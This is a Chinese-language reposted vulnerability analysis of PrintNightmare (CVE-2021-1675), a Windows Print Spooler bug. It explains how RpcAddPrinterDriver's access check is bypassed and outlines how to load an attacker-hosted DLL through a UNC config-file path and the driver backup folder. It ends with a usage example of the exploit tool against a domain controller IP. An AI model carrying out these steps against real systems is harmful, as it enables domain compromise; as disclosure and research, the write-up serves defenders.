点击上方蓝字“Ots安全”一起玩耍
十年前,Windows Printer Spooler 的提权漏洞被用于 Stuxnet,这是一种臭名昭著的蠕虫,摧毁了伊朗的核浓缩离心机并感染了 45000 多个网络。在过去的十年里,spooler 仍然有层出不穷的漏洞被披露出来,其中一些是不为世人所知的,但它们是可能导致灾难的隐藏炸弹。因此,我们在过去几个月专注于 spooler 并取得了丰硕的成果。
研究的开始是 PrintDemon,我们从中得到灵感。在深入挖掘这个漏洞后,我们找到了绕过 MS 补丁的方法。但就在MS发布新版本后,我们立即找到了一种新的方法来再次利用它。在 PrintDemon 的故事之后,我们意识到 spooler 仍然是一个很好的攻击面,尽管安全研究人员已经在 spooler 中寻找漏洞十多年了。我们开始探索 Printer Spooler 的内部工作,并发现其中的一些 0-day Bug。其中一些比 PrintDemon 更强大,更容易被利用,而其他一些可以从远程触发,这可能导致远程代码执行。
CVE-2021-1675 是 Windows Print Spooler 中的远程代码执行。据 MSRC 安全金条称,此漏洞由霍志鹏、Piotr Madej 和张云海报告。
我们之前也发现了这个bug,希望能保密参加天府杯 ☹. 由于已经有人发布了 CVE-2021-1675 的漏洞利用视频。在这里,我们发布了针对 CVE-2021-1675 的文章和漏洞利用。
有关 Windows Spooler 中的更多 RCE 和 LPE 漏洞,请继续关注并等待我们的 Blackhat 演讲“深入了解 Spooler:发现 Windows 打印机中的 LPE 和 RCE 漏洞”。
RpcAddPrinterDriver
向服务器添加打印机驱动程序 (RpcAddPrinterDriver)
让我们检查一下关于 RpcAddPrinterDriver 调用的 MS-RPRN:打印系统远程协议。
要将打印机驱动程序(“OEM 打印机驱动程序”)添加或更新到打印服务器(“CORPSERV”),客户端(“TESTCLT”)执行以下步骤。
-
客户端可以使用 RPC 调用 RpcAddPrinterDriver 向打印服务器添加驱动程序。
-
客户端确保打印机驱动程序的文件位于服务器可访问的位置。为此,客户端可以共享包含文件的本地目录,或使用 [MS-SMB] 将文件放入服务器上的目录中
-
然后客户端分配并填充一个 DRIVER_INFO_2 结构,如下所示:
pName = L"OEM 打印机驱动程序";
pEnvironment = L"Windows NT x86"; /* 驱动兼容的环境 */
pDriverPath = "\CORPSERVC$DRIVERSTAGINGOEMDRV.DLL";315 / 415
[MS-RPRN] - v20200826
打印系统远程协议
版权所有 © 2020 微软公司
发布时间:2020 年 8 月 26 日
pDataFile = "\CORPSERVC$DRIVERSTAGINGOEMDATA.DLL";
pConfigFile = "\CORPSERVC$DRIVERSTAGINGOEMUI.DLL";
4.客户端分配一个 DRIVER_CONTAINER driverContainer 结构并初始化它以包含 DRIVER_INFO_2 结构。
5.客户端调用 RpcAddPrinterDriver。
RpcAddPrinterDriver( L"\CORPSERV", &driverContainer );
CVE-2021-1675 分析
显然,如果攻击者可以绕过 RpcAddPrinterDriver 的身份验证。他可以在打印服务器中安装恶意驱动程序。在msdn中,客户端需要SeLoadDriverPrivilege来调用RPC。然而,事实并非如此。让我们在这里检查身份验证逻辑:
ValidateObjectAccess 是 Spooler Service 的常规安全检查。但是在第 19 行和第 20 行中,参数 a4 是用户可控的。因此,普通用户可以绕过安全检查并添加驱动程序。如果您在域中,普通域用户可以连接到 DC 中的 Spooler 服务并在 DC 中安装驱动程序。然后他就可以完全控制领域了。
开发
但真正的攻击并没有那么简单。为了利用身份验证绕过漏洞,我们需要了解当您调用 RpcAddPrinterDriver 时 Spooler 服务会做什么。假设您在那里提供服务的路径
pDataFile =A.dll
pConfigFile =attackeripEvil.dll
pDriverPath=C.dll
它将 A、B 和 C 复制到文件夹 C:WindowsSystem32spooldriversx643new。然后它将它们复制到 C:WindowsSystem32spooldriversx643,并加载 C:WindowsSystem32spooldriversx643A.dll 和 C:WindowsSystem32 spooldriversx643C.dll 进入 Spooler 服务。但是,在最新版本中,Spooler 将检查以确保 A 和 C 不是 UNC 路径。但是由于 B 可以是 UNC 路径,所以我们可以将 pConfigFile 设置为 UNC 路径(evildll)。
这将使我们的 evildll Evil.dll 被复制到 C:WindowsSystem32spooldriversx643 Evil.dll。然后再次调用 RpcAddPrinterDriver,将 pDataFile 设置为 C:WindowsSystem32spooldriversx643Evil.dll。它将加载我们的邪恶 dll。不幸的是,它不起作用。因为如果你在文件夹C:WindowsSystem32spooldriversx643中设置了A、B、C。文件复制会出现访问冲突。为了绕过这个,我们需要使用驱动程序升级的备份功能。
如果我们升级某些驱动程序,旧版本将备份到 C:WindowsSystem32spooldriversx643old1 文件夹中。然后我们可以绕过访问冲突并成功将我们的 evil.dll 注入到 spooler 服务中。
成功加载我们的dll:
用法
.PrintNightmare.exe dc_ip path_to_exp user_name password
Example:
.PrintNightmare.exe 192.168.5.129 \192.168.5.197testMyExploit.dll user2 test123##
在 windows 服务器上测试 2019 1809 17763.1518
影响
该漏洞可用于实现 LPE 和 RCE。至于 RCE 部分,您需要一个用户在 Spooler 服务上进行身份验证。但是,这在域环境中仍然很重要。由于通常 DC 会启用 Spooler 服务,因此被入侵的域用户可能会利用此漏洞来控制 DC。
这里有更多隐藏在 Spooler 中的炸弹,这是不公开的。我们将分享更多 Windows Spooler 中的 RCE 和 LPE 漏洞,请继续关注并等待我们的 Blackhat 演讲“深入了解 Spooler:发现 Windows 打印机中的 LPE 和 RCE 漏洞”。
原文链接:https://github.com/afwu/PrintNightmare
所有文章点击阅读原文均可阅读原文
本文始发于微信公众号(Ots安全):【漏洞分析】PrintNightmare (CVE-2021-1675):Windows 后台处理程序服务中的远程代码执行
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论